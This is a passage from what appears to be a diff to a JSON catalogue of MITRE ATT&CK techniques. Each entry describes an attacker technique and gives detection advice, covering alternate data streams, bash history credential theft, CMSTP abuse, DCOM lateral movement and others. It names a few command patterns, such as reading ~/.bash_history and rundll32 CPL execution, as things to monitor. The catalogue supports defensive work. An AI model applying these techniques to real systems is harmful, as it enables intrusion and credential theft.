2017) (Citation: Microsoft File Streams) (Citation: MalwareBytes ADS July 2015) (Citation: Microsoft ADS Mar 2014)\n\nAdversaries may store malicious data or binaries in file attribute metadata instead of directly in files. This may be done to evade some defenses, such as static indicator scanning tools and anti-virus. (Citation: Journey into IR ZeroAccess NTFS EA) (Citation: MalwareBytes ADS July 2015)\n\nDetection: Forensic techniques exist to identify information stored in NTFS EA. (Citation: Journey into IR ZeroAccess NTFS EA) Monitor calls to the ZwSetEaFile and ZwQueryEaFile Windows API functions, used to interact with EA, and consider regularly scanning for the presence of modified information. (Citation: SpectorOps Host-Based Jul 2017)\n\nThe Streams tool of Sysinternals can be used to uncover files with ADSs. The dir /r command can also be used to display ADSs. (Citation: Symantec ADS May 2009) Many PowerShell commands (such as Get-Item, Set-Item, Remove-Item, and Get-ChildItem) can also accept a -stream parameter to interact with ADSs. (Citation: MalwareBytes ADS July 2015) (Citation: Microsoft ADS Mar 2014)\n\nMonitor for operations (execution, copies, etc.) with file names that contain colons. This syntax (ex: file.ext:ads[.ext]) is commonly associated with ADSs. (Citation: Microsoft ADS Mar 2014)\n\nPlatforms: Windows\n\nData Sources: File monitoring, Kernel drivers, API monitoring\n\nDefense Bypassed: Signature-based detection, Anti-virus, Host forensic analysis\n\nSystem Requirements: NTFS partitioned hard drive\n\nContributors: Red Canary", + "value": "NTFS File Attributes - T1096", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1096", + "http://journeyintoir.blogspot.com/2012/12/extracting-zeroaccess-from-ntfs.html", + "http://msdn.microsoft.com/en-us/library/aa364404", + "https://posts.specterops.io/host-based-threat-modeling-indicator-design-a9dbbb53d5ea", + "https://blogs.technet.microsoft.com/askcore/2010/08/25/ntfs-file-attributes/", + "https://blog.malwarebytes.com/101/2015/07/introduction-to-alternate-data-streams/", + "https://blogs.technet.microsoft.com/askcore/2013/03/24/alternate-data-streams-in-ntfs/", + "https://www.symantec.com/connect/articles/what-you-need-know-about-alternate-data-streams-windows-your-data-secure-can-you-restore" + ], + "external_id": "T1096", + "kill_chain": [ + "mitre-attack:enterprise-attack:defense-evasion" + ], + "mitre_data_sources": [ + "File monitoring", + "Kernel drivers", + "API monitoring" + ], + "mitre_platforms": [ + "Windows" + ] + }, + "uuid": "f2d44246-91f1-478a-b6c8-1227e0ca109d" + }, + { + "description": "An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks. These services are commonly used as legitimate technical support software, and may be whitelisted within a target environment. Remote access tools like VNC, Ammy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land)\n\nRemote access tools may be established and used post-compromise as alternate communications channel for Redundant Access or as a way to establish an interactive remote desktop session with the target system. They may also be used as a component of malware to establish a reverse connection or back-connect to a service or adversary controlled system.\n\nAdmin tools such as TeamViewer have been used by several groups targeting institutions in countries of interest to the Russian state and criminal campaigns. (Citation: CrowdStrike 2015 Global Threat Report) (Citation: CrySyS Blog TeamSpy)\n\nDetection: Monitor for applications and processes related to remote admin tools. Correlate activity with other suspicious behavior that may reduce false positives if these tools are used by legitimate users and administrators.\n\nAnalyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect application layer protocols that do not follow the expected protocol for the port that is being used.\n\nDomain Fronting may be used in conjunction to avoid defenses. Adversaries will likely need to deploy and/or install these remote tools to compromised systems. It may be possible to detect or prevent the installation of these tools with host-based solutions.\n\nPlatforms: Linux, Windows, macOS\n\nData Sources: Network intrusion detection system, Network protocol analysis, Process use of network, Process Monitoring\n\nPermissions Required: User\n\nRequires Network: Yes\n\nContributors: Matt Kelly, @breakersall", + "value": "Remote Access Tools - T1219", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1219", + "https://www.symantec.com/content/dam/symantec/docs/security-center/white-papers/istr-living-off-the-land-and-fileless-attack-techniques-en.pdf", + "https://go.crowdstrike.com/rs/281-OBQ-266/images/15GlobalThreatReport.pdf", + "https://blog.crysys.hu/2013/03/teamspy/" + ], + "external_id": "T1219", + "kill_chain": [ + "mitre-attack:enterprise-attack:command-and-control" + ], + "mitre_data_sources": [ + "Network intrusion detection system", + "Network protocol analysis", + "Process use of network", + "Process Monitoring" + ], + "mitre_platforms": [ + "Linux", + "Windows", + "macOS" + ] + }, + "uuid": "4061e78c-1284-44b4-9116-73e4ac3912f7" + }, + { + "description": "Bash keeps track of the commands users type on the command-line with the \"history\" utility. Once a user logs out, the history is flushed to the user\u2019s .bash_history file. For each user, this file resides at the same location: ~/.bash_history. Typically, this file keeps track of the user\u2019s last 500 commands. Users often type usernames and passwords on the command-line as parameters to programs, which then get saved to this file when they log out. Attackers can abuse this by looking through the file for potential credentials. (Citation: External to DA, the OS X Way)\n\nDetection: Monitoring when the user's .bash_history is read can help alert to suspicious activity. While users do typically rely on their history of commands, they often access this history through other utilities like \"history\" instead of commands like cat ~/.bash_history.\n\nPlatforms: Linux, macOS\n\nData Sources: File monitoring, Process monitoring, Process command-line parameters\n\nPermissions Required: User", + "value": "Bash History - T1139", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1139", + "http://www.slideshare.net/StephanBorosh/external-to-da-the-os-x-way" + ], + "external_id": "T1139", + "kill_chain": [ + "mitre-attack:enterprise-attack:credential-access" + ], + "mitre_data_sources": [ + "File monitoring", + "Process monitoring", + "Process command-line parameters" + ], + "mitre_platforms": [ + "Linux", + "macOS" + ] + }, + "uuid": "44dca04b-808d-46ca-b25f-d85236d4b9f8" + }, + { + "description": "Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software running on systems within the network.\n\n===Windows===\n\nAn example command that would obtain details on processes is \"tasklist\" using the Tasklist utility.\n\n===Mac and Linux===\n\nIn Mac and Linux, this is accomplished with the ps command.\n\nDetection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nNormal, benign system and network events that look like process discovery may be uncommon, depending on the environment and how they are used. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Process command-line parameters, Process monitoring\n\nPermissions Required: User, Administrator, SYSTEM\n\nSystem Requirements: Administrator, SYSTEM may provide better process ownership details", + "value": "Process Discovery - T1057", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1057" + ], + "external_id": "T1057", + "kill_chain": [ + "mitre-attack:enterprise-attack:discovery" + ], + "mitre_data_sources": [ + "Process command-line parameters", + "Process monitoring" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ] + }, + "uuid": "8f4a33ec-8b1f-4b80-a2f6-642b2e479580" + }, + { + "description": "The BIOS (Basic Input/Output System) and The Unified Extensible Firmware Interface (UEFI) or Extensible Firmware Interface (EFI) are examples of system firmware that operate as the software interface between the operating system and hardware of a computer. (Citation: Wikipedia BIOS) (Citation: Wikipedia UEFI) (Citation: About UEFI)\n\nSystem firmware like BIOS and (U)EFI underly the functionality of a computer and may be modified by an adversary to perform or assist in malicious activity. Capabilities exist to overwrite the system firmware, which may give sophisticated adversaries a means to install malicious firmware updates as a means of persistence on a system that may be difficult to detect.\n\nDetection: System firmware manipulation may be detected. (Citation: MITRE Trustworthy Firmware Measurement) Dump and inspect BIOS images on vulnerable systems and compare against known good images. (Citation: MITRE Copernicus) Analyze differences to determine if malicious changes have occurred. Log attempts to read/write to BIOS and compare against known patching behavior.\n\nLikewise, EFI modules can be collected and compared against a known-clean list of EFI executable binaries to detect potentially malicious modules. The CHIPSEC framework can be used for analysis to determine if firmware modifications have been performed. (Citation: McAfee CHIPSEC Blog) (Citation: Github CHIPSEC) (Citation: Intel HackingTeam UEFI Rootkit)\n\nPlatforms: Windows\n\nData Sources: API monitoring, BIOS, EFI\n\nPermissions Required: Administrator, SYSTEM\n\nContributors: Ryan Becwar, McAfee", + "value": "System Firmware - T1019", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1019", + "https://en.wikipedia.org/wiki/BIOS", + "https://en.wikipedia.org/wiki/Unified%20Extensible%20Firmware%20Interface", + "http://www.uefi.org/about", + "http://www.mitre.org/publications/project-stories/going-deep-into-the-bios-with-mitre-firmware-security-research", + "http://www.mitre.org/capabilities/cybersecurity/overview/cybersecurity-blog/copernicus-question-your-assumptions-about", + "https://securingtomorrow.mcafee.com/business/chipsec-support-vault-7-disclosure-scanning/", + "https://github.com/chipsec/chipsec", + "http://www.intelsecurity.com/advanced-threat-research/content/data/HT-UEFI-rootkit.html" + ], + "external_id": "T1019", + "kill_chain": [ + "mitre-attack:enterprise-attack:persistence" + ], + "mitre_data_sources": [ + "API monitoring", + "BIOS", + "EFI" + ], + "mitre_platforms": [ + "Windows" + ] + }, + "uuid": "6856ddd6-2df3-4379-8b87-284603c189c3" + }, + { + "description": "Adding an entry to the \"run keys\" in the Registry or startup folder will cause the program referenced to be executed when a user logs in. (Citation: Microsoft Run Key) The program will be executed under the context of the user and will have the account's associated permissions level.\n\nAdversaries can use these configuration locations to execute malware, such as remote access tools, to maintain persistence through system reboots. Adversaries may also use Masquerading to make the Registry entries look as if they are associated with legitimate programs.\n\nDetection: Monitor Registry for changes to run keys that do not correlate with known software, patch cycles, etc. Monitor the start folder for additions or changes. Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing the run keys' Registry locations and startup folders. (Citation: TechNet Autoruns) Suspicious program execution as startup programs may show up as outlier processes that have not been seen before when compared against historical data.\n\nChanges to these locations typically happen under normal conditions when legitimate software is installed. To increase confidence of malicious activity, data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\n\nPlatforms: Windows\n\nData Sources: Windows Registry, File monitoring\n\nPermissions Required: User, Administrator", + "value": "Registry Run Keys / Start Folder - T1060", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1060", + "http://msdn.microsoft.com/en-us/library/aa376977", + "https://technet.microsoft.com/en-us/sysinternals/bb963902" + ], + "external_id": "T1060", + "kill_chain": [ + "mitre-attack:enterprise-attack:persistence" + ], + "mitre_data_sources": [ + "Windows Registry", + "File monitoring" + ], + "mitre_platforms": [ + "Windows" + ] + }, + "uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc" + }, + { + "description": "Adversaries may execute a binary, command, or script via a method that interacts with Windows services, such as the Service Control Manager. This can be done by either creating a new service or modifying an existing service. This technique is the execution used in conjunction with New Service and Modify Existing Service during service persistence or privilege escalation.\n\nDetection: Changes to service Registry entries and command-line invocation of tools capable of modifying services that do not correlate with known software, patch cycles, etc., may be suspicious. If a service is used only to execute a binary or script and not to persist, then it will likely be changed back to its original form shortly after the service is restarted so the service is not left broken, as is the case with the common administrator tool PsExec.\n\nPlatforms: Windows\n\nData Sources: Windows Registry, Process command-line parameters, Process monitoring\n\nPermissions Required: Administrator, SYSTEM\n\nRemote Support: Yes", + "value": "Service Execution - T1035", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1035" + ], + "external_id": "T1035", + "kill_chain": [ + "mitre-attack:enterprise-attack:execution" + ], + "mitre_data_sources": [ + "Windows Registry", + "Process command-line parameters", + "Process monitoring" + ], + "mitre_platforms": [ + "Windows" + ] + }, + "uuid": "f44731de-ea9f-406d-9b83-30ecbb9b4392" + }, + { + "description": "Adversaries may conduct C2 communications over a non-standard port to bypass proxies and firewalls that have been improperly configured.\n\nDetection: Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Netflow/Enclave netflow, Process use of network, Process monitoring\n\nRequires Network: Yes", + "value": "Uncommonly Used Port - T1065", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1065", + "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + ], + "external_id": "T1065", + "kill_chain": [ + "mitre-attack:enterprise-attack:command-and-control" + ], + "mitre_data_sources": [ + "Netflow/Enclave netflow", + "Process use of network", + "Process monitoring" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ] + }, + "uuid": "c848fcf7-6b62-4bde-8216-b6c157d48da0" + }, + { + "description": "The Microsoft Connection Manager Profile Installer (CMSTP.exe) is a command-line program used to install Connection Manager service profiles. (Citation: Microsoft Connection Manager Oct 2009) CMSTP.exe accepts an installation information file (INF) as a parameter and installs a service profile leveraged for remote access connections.\n\nAdversaries may supply CMSTP.exe with INF files infected with malicious commands. (Citation: Twitter CMSTP Usage Jan 2018) Similar to Regsvr32 / \u201dSquiblydoo\u201d, CMSTP.exe may be abused to load and execute DLLs (Citation: MSitPros CMSTP Aug 2017) and/or COM scriptlets (SCT) from remote servers. (Citation: Twitter CMSTP Jan 2018) (Citation: GitHub Ultimate AppLocker Bypass List) This execution may also bypass AppLocker and other whitelisting defenses since CMSTP.exe is a legitimate, signed Microsoft application.\n\nCMSTP.exe can also be abused to Bypass User Account Control and execute arbitrary commands from a malicious INF through an auto-elevated COM interface. (Citation: MSitPros CMSTP Aug 2017) (Citation: GitHub Ultimate AppLocker Bypass List)\n\nDetection: Use process monitoring to detect and analyze the execution and arguments of CMSTP.exe. Compare recent invocations of CMSTP.exe with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity.\n\nPlatforms: Windows\n\nData Sources: Process Monitoring, Process command-line parameters\n\nDefense Bypassed: Application whitelisting, Anti-virus\n\nPermissions Required: User\n\nRemote Support: No\n\nContributors: Ye Yint Min Thu Htut, Offensive Security Team, DBS Bank", + "value": "CMSTP - T1191", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1191", + "https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2003/cc786431(v=ws.10)", + "https://twitter.com/ItsReallyNick/status/958789644165894146", + "https://msitpros.com/?p=3960", + "https://twitter.com/NickTyrer/status/958450014111633408", + "https://github.com/api0cradle/UltimateAppLockerByPassList" + ], + "external_id": "T1191", + "kill_chain": [ + "mitre-attack:enterprise-attack:defense-evasion", + "mitre-attack:enterprise-attack:execution" + ], + "mitre_data_sources": [ + "Process Monitoring", + "Process command-line parameters" + ], + "mitre_platforms": [ + "Windows" + ] + }, + "uuid": "7d6f590f-544b-45b4-9a42-e0805f342af3" + }, + { + "description": "Windows Control Panel items are utilities that allow users to view and adjust computer settings. Control Panel items are registered executable (.exe) or Control Panel (.cpl) files, the latter are actually renamed dynamic-link library (.dll) files that export a CPlApplet function. (Citation: Microsoft Implementing CPL) (Citation: TrendMicro CPL Malware Jan 2014) Control Panel items can be executed directly from the command line, programmatically via an application programming interface (API) call, or by simply double-clicking the file. (Citation: Microsoft Implementing CPL) (Citation: TrendMicro CPL Malware Jan 2014) (Citation: TrendMicro CPL Malware Dec 2013)\n\nFor ease of use, Control Panel items typically include graphical menus available to users after being registered and loaded into the Control Panel. (Citation: Microsoft Implementing CPL)\n\nAdversaries can use Control Panel items as execution payloads to execute arbitrary commands. Malicious Control Panel items can be delivered via Spearphishing Attachment campaigns (Citation: TrendMicro CPL Malware Jan 2014) (Citation: TrendMicro CPL Malware Dec 2013) or executed as part of multi-stage malware. (Citation: Palo Alto Reaver Nov 2017) Control Panel items, specifically CPL files, may also bypass application and/or file extension whitelisting.\n\nDetection: Monitor and analyze activity related to items associated with CPL files, such as the Windows Control Panel process binary (control.exe) and the Control_RunDLL and ControlRunDLLAsUser API functions in shell32.dll. When executed from the command line or clicked, control.exe will execute the CPL file (ex: control.exe file.cpl) before Rundll32 is used to call the CPL's API functions (ex: rundll32.exe shell32.dll,Control_RunDLL file.cpl). CPL files can be executed directly via the CPL API function with just the latter Rundll32 command, which may bypass detections and/or execution filters for control.exe. (Citation: TrendMicro CPL Malware Jan 2014)\n\nInventory Control Panel items to locate unregistered and potentially malicious files present on systems:\n*Executable format registered Control Panel items will have a globally unique identifier (GUID) and registration Registry entries in HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\ControlPanel\\NameSpace and HKEY_CLASSES_ROOT\\CLSID\\{GUID}. These entries may contain information about the Control Panel item such as its display name, path to the local file, and the command executed when opened in the Control Panel. (Citation: Microsoft Implementing CPL)\n* CPL format registered Control Panel items stored in the System32 directory are automatically shown in the Control Panel. Other Control Panel items will have registration entries in the Cpls and Extended Properties Registry keys of HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Control Panel. These entries may include information such as a GUID, path to the local file, and a canonical name used to launch the file programmatically ( WinExec(\"c:\\windows\\system32\\control.exe {Canonical_Name}\", SW_NORMAL);) or from a command line (control.exe /name {Canonical_Name}). (Citation: Microsoft Implementing CPL)\n*Some Control Panel items are extensible via Shell extensions registered in HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Controls Folder\\{name}\\Shellex\\PropertySheetHandlers where {name} is the predefined name of the system item. (Citation: Microsoft Implementing CPL)\n\nAnalyze new Control Panel items as well as those present on disk for malicious content. Both executable and CPL formats are compliant Portable Executable (PE) images and can be examined using traditional tools and methods, pending anti-reverse-engineering techniques. (Citation: TrendMicro CPL Malware Jan 2014)\n\nPlatforms: Windows\n\nData Sources: API monitoring, Binary file metadata, DLL monitoring, Process command-line parameters, Process Monitoring, Windows Registry, Windows event logs\n\nDefense Bypassed: Application whitelisting, Process whitelisting\n\nPermissions Required: User, Administrator, SYSTEM\n\nRemote Support: No", + "value": "Control Panel Items - T1196", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1196", + "https://msdn.microsoft.com/library/windows/desktop/cc144185.aspx", + "https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-cpl-malware.pdf", + "https://blog.trendmicro.com/trendlabs-security-intelligence/control-panel-files-used-as-malicious-attachments/", + "https://researchcenter.paloaltonetworks.com/2017/11/unit42-new-malware-with-ties-to-sunorcal-discovered/" + ], + "external_id": "T1196", + "kill_chain": [ + "mitre-attack:enterprise-attack:defense-evasion", + "mitre-attack:enterprise-attack:execution" + ], + "mitre_data_sources": [ + "API monitoring", + "Binary file metadata", + "DLL monitoring", + "Process command-line parameters", + "Process Monitoring", + "Windows Registry", + "Windows event logs" + ], + "mitre_platforms": [ + "Windows" + ] + }, + "uuid": "8df54627-376c-487c-a09c-7d2b5620f56e" + }, + { + "description": "Windows Distributed Component Object Model (DCOM) is transparent middleware that extends the functionality of Component Object Model (COM) (Citation: Microsoft COM) beyond a local computer using remote procedure call (RPC) technology. COM is a component of the Windows application programming interface (API) that enables interaction between software objects. Through COM, a client object can call methods of server objects, which are typically Dynamic Link Libraries (DLL) or executables (EXE).\n\nPermissions to interact with local and remote server COM objects are specified by access control lists (ACL) in the Registry. (Citation: Microsoft COM) ACL (Citation: Microsoft Process Wide Com Keys) (Citation: Microsoft System Wide Com Keys) By default, only Administrators may remotely activate and launch COM objects through DCOM.\n\nAdversaries may use DCOM for lateral movement. Through DCOM, adversaries operating in the context of an appropriately privileged user can remotely obtain arbitrary and even direct shellcode execution through Office applications (Citation: Enigma Outlook DCOM Lateral Movement Nov 2017) as well as other Windows objects that contain insecure methods. (Citation: Enigma MMC20 COM Jan 2017) (Citation: Enigma DCOM Lateral Movement Jan 2017) DCOM can also execute macros in existing documents (Citation: Enigma Excel DCOM Sept 2017) and may also invoke Dynamic Data Exchange (DDE) execution directly through a COM created instance of a Microsoft Office application (Citation: Cyberreason DCOM DDE Lateral Movement Nov 2017), bypassing the need for a malicious document.\n\nDetection: Monitor for COM objects loading DLLs and other modules not typically associated with the application. (Citation: Enigma Outlook DCOM Lateral Movement Nov 2017)\n\nMonitor for spawning of processes associated with COM objects, especially those invoked by a user different than the one currently logged on.\n\nMonitor for influx of Distributed Computing Environment/Remote Procedure Call (DCE/RPC) traffic.\n\nPlatforms: Windows\n\nData Sources: API monitoring, Authentication logs, DLL monitoring, Packet capture, Process monitoring, Windows Registry, Windows event logs\n\nPermissions Required: Administrator, SYSTEM", + "value": "Distributed Component Object Model - T1175", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1175", + "https://msdn.microsoft.com/library/windows/desktop/ms680573.aspx", + "https://msdn.microsoft.com/en-us/library/windows/desktop/ms687317(v=vs.85).aspx", + "https://msdn.microsoft.com/en-us/library/windows/desktop/ms694331(v=vs.85).aspx", + "https://enigma0x3.net/2017/11/16/lateral-movement-using-outlooks-createobject-method-and-dotnettojscript/", + "https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/", + "https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/", + "https://enigma0x3.net/2017/09/11/lateral-movement-using-excel-application-and-dcom/", + "https://www.cybereason.com/blog/leveraging-excel-dde-for-lateral-movement-via-dcom" + ], + "external_id": "T1175", + "kill_chain": [ + "mitre-attack:enterprise-attack:lateral-movement" + ], + "mitre_data_sources": [ + "API monitoring", + "Authentication logs", + "DLL monitoring", + "Packet capture", + "Process monitoring", + "Windows Registry", + "Windows event logs" + ], + "mitre_platforms": [ + "Windows" + ] + }, + "uuid": "772bc7a8-a157-42cc-8728-d648e25c7fe7" + }, + { + "description": "Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code.\u00a0Vulnerabilities may exist in defensive security software that can be used to disable or circumvent them.\n\nAdversaries may have prior knowledge through reconnaissance that security software exists within an environment or they may perform checks during or shortly after the system is compromised for Security Software Discovery. The security software will likely be targeted directly for exploitation. There are examples of antivirus software being targeted by persistent threat groups to avoid detection.\n\nDetection: Exploitation for defense evasion may happen shortly after the system has been compromised to prevent detection during later actions for for additional tools that may be brought in and used. Detecting software exploitation may be difficult depending on the tools available. Software exploits may not always succeed or may cause the exploited process to become unstable or crash. Also look for behavior on the system that might indicate successful compromise, such as abnormal behavior of processes. This could include suspicious files written to disk, evidence of Process Injection for attempts to hide execution or evidence of Discovery.\n\nPlatforms: Linux, Windows, macOS\n\nData Sources: Windows Error Reporting, Process Monitoring, File monitoring\n\nDefense Bypassed: Anti-virus, System access controls\n\nPermissions Required: User\n\nContributors: John Lambert, Microsoft Threat Intelligence Center", + "value": "Exploitation for Defense Evasion - T1211", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1211" + ], + "external_id": "T1211", + "kill_chain": [ + "mitre-attack:enterprise-attack:defense-evasion" + ], + "mitre_data_sources": [ + "Windows Error Reporting", + "Process Monitoring", + "File monitoring" + ], + "mitre_platforms": [ + "Linux", + "Windows", + "macOS" + ] + }, + "uuid": "fe926152-f431-4baf-956c-4ad3cb0bf23b" + }, + { + "description": "Per Apple\u2019s documentation, startup items execute during the final phase of the boot process and contain shell scripts or other executable files along with configuration information used by the system to determine the execution order for all startup items (Citation: Startup Items). This is technically a deprecated version (superseded by Launch Daemons), and thus the appropriate folder, /Library/StartupItems isn\u2019t guaranteed to exist on the system by default, but does appear to exist by default on macOS Sierra. A startup item is a directory whose executable and configuration property list (plist), StartupParameters.plist, reside in the top-level directory. \n\nAn adversary can create the appropriate folders/files in the StartupItems directory to register their own persistence mechanism (Citation: Methods of Mac Malware Persistence). Additionally, since StartupItems run during the bootup phase of macOS, they will run as root. If an adversary is able to modify an existing Startup Item, then they will be able to Privilege Escalate as well.\n\nDetection: The /Library/StartupItems folder can be monitored for changes. Similarly, the programs that are actually executed from this mechanism should be checked against a whitelist. Monitor processes that are executed during the bootup process to check for unusual or unknown applications and behavior.\n\nPlatforms: macOS\n\nData Sources: File monitoring, Process Monitoring\n\nEffective Permissions: root\n\nPermissions Required: Administrator", + "value": "Startup Items - T1165", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1165", + "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/StartupItems.html", + "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf" + ], + "external_id": "T1165", + "kill_chain": [ + "mitre-attack:enterprise-attack:persistence", + "mitre-attack:enterprise-attack:privilege-escalation" + ], + "mitre_data_sources": [ + "File monitoring", + "Process Monitoring" + ], + "mitre_platforms": [ + "macOS" + ] + }, + "uuid": "2ba5aa71-9d15-4b22-b726-56af06d9ad2f" + }, + { + "description": "Adversaries can take advantage of security vulnerabilities and inherent functionality in browser software to change content, modify behavior, and intercept information as part of various man in the browser techniques. (Citation: Wikipedia Man in the Browser)\n\nA specific example is when an adversary injects software into a browser that allows an them to inherit cookies, HTTP sessions, and SSL client certificates of a user and use the browser as a way to pivot into an authenticated intranet. (Citation: Cobalt Strike Browser Pivot) (Citation: ICEBRG Chrome Extensions)\n\nBrowser pivoting requires the SeDebugPrivilege and a high-integrity process to execute. Browser traffic is pivoted from the adversary's browser through the user's browser by setting up an HTTP proxy which will redirect any HTTP and HTTPS traffic. This does not alter the user's traffic in any way. The proxy connection is severed as soon as the browser is closed. Whichever browser process the proxy is injected into, the adversary assumes the security context of that process. Browsers typically create a new process for each tab that is opened and permissions and certificates are separated accordingly. With these permissions, an adversary could browse to any resource on an intranet that is accessible through the browser and which the browser has sufficient permissions, such as Sharepoint or webmail. Browser pivoting also eliminates the security provided by 2-factor authentication. (Citation: cobaltstrike manual)\n\nDetection: This is a difficult technique to detect because adversary traffic would be masked by normal user traffic. No new processes are created and no additional software touches disk. Authentication logs can be used to audit logins to specific web applications, but determining malicious logins versus benign logins may be difficult if activity matches typical user behavior. Monitor for process injection against browser applications\n\nPlatforms: Windows\n\nData Sources: Authentication logs, Packet capture, Process Monitoring, API monitoring\n\nPermissions Required: Administrator, SYSTEM\n\nContributors: Justin Warner, ICEBRG", + "value": "Man in the Browser - T1185", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1185", + "https://en.wikipedia.org/wiki/Man-in-the-browser", + "https://www.cobaltstrike.com/help-browser-pivoting", + "https://cobaltstrike.com/downloads/csmanual38.pdf", + "https://www.icebrg.io/blog/malicious-chrome-extensions-enable-criminals-to-impact-over-half-a-million-users-and-global-businesses" + ], + "external_id": "T1185", + "kill_chain": [ + "mitre-attack:enterprise-attack:collection" + ], + "mitre_data_sources": [ + "Authentication logs", + "Packet capture", + "Process Monitoring", + "API monitoring" + ], + "mitre_platforms": [ + "Windows" + ] + }, + "uuid": "544b0346-29ad-41e1-a808-501bb4193f47" + }, + { + "description": "Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code.\u00a0Credentialing and authentication mechanisms may be targeted for exploitation by adversaries as a means to gain access to useful credentials or circumvent the process to gain access to systems. One example of this is MS14-068, which targets Kerberos and can be used to forge Kerberos tickets using domain user permissions. (Citation: Technet MS14-068) (Citation: ADSecurity Detecting Forged Tickets) Exploitation for credential access may also result in Privilege Escalation depending on the process targeted or credentials obtained.\n\nDetection: Detecting software exploitation may be difficult depending on the tools available. Software exploits may not always succeed or may cause the exploited process to become unstable or crash. Also look for behavior on the system that might indicate successful compromise, such as abnormal behavior of processes. Credential resources obtained through exploitation may be detectable in use if they are not normally used or seen.\n\nPlatforms: Linux, Windows, macOS\n\nData Sources: Authentication logs, Windows Error Reporting, Process Monitoring\n\nPermissions Required: User\n\nContributors: John Lambert, Microsoft Threat Intelligence Center", + "value": "Exploitation for Credential Access - T1212", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1212", + "https://technet.microsoft.com/en-us/library/security/ms14-068.aspx", + "https://adsecurity.org/?p=1515" + ], + "external_id": "T1212", + "kill_chain": [ + "mitre-attack:enterprise-attack:credential-access" + ], + "mitre_data_sources": [ + "Authentication logs", + "Windows Error Reporting", + "Process Monitoring" + ], + "mitre_platforms": [ + "Linux", + "Windows", + "macOS" + ] + }, + "uuid": "9c306d8d-cde7-4b4c-b6e8-d0bb16caca36" + }, + { + "description": "Mach-O binaries have a series of headers that are used to perform certain operations when a binary is loaded. The LC_LOAD_DYLIB header in a Mach-O binary tells macOS and OS X which dynamic libraries (dylibs) to load during execution time. These can be added ad-hoc to the compiled binary as long adjustments are made to the rest of the fields and dependencies (Citation: Writing Bad Malware for OSX). There are tools available to perform these changes. Any changes will invalidate digital signatures on binaries because the binary is being modified. Adversaries can remediate this issue by simply removing the LC_CODE_SIGNATURE command from the binary so that the signature isn\u2019t checked at load time (Citation: Malware Persistence on OS X).\n\nDetection: Monitor processes for those that may be used to modify binary headers. Monitor file systems for changes to application binaries and invalid checksums/signatures. Changes to binaries that do not line up with application updates or patches are also extremely suspicious.\n\nPlatforms: macOS\n\nData Sources: Binary file metadata, Process Monitoring, Process command-line parameters, File monitoring\n\nPermissions Required: User", + "value": "LC_LOAD_DYLIB Addition - T1161", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1161", + "https://www.blackhat.com/docs/us-15/materials/us-15-Wardle-Writing-Bad-A-Malware-For-OS-X.pdf", + "https://www.rsaconference.com/writable/presentations/file%20upload/ht-r03-malware-persistence-on-os-x-yosemite%20final.pdf" + ], + "external_id": "T1161", + "kill_chain": [ + "mitre-attack:enterprise-attack:persistence" + ], + "mitre_data_sources": [ + "Binary file metadata", + "Process Monitoring", + "Process command-line parameters", + "File monitoring" + ], + "mitre_platforms": [ + "macOS" + ] + }, + "uuid": 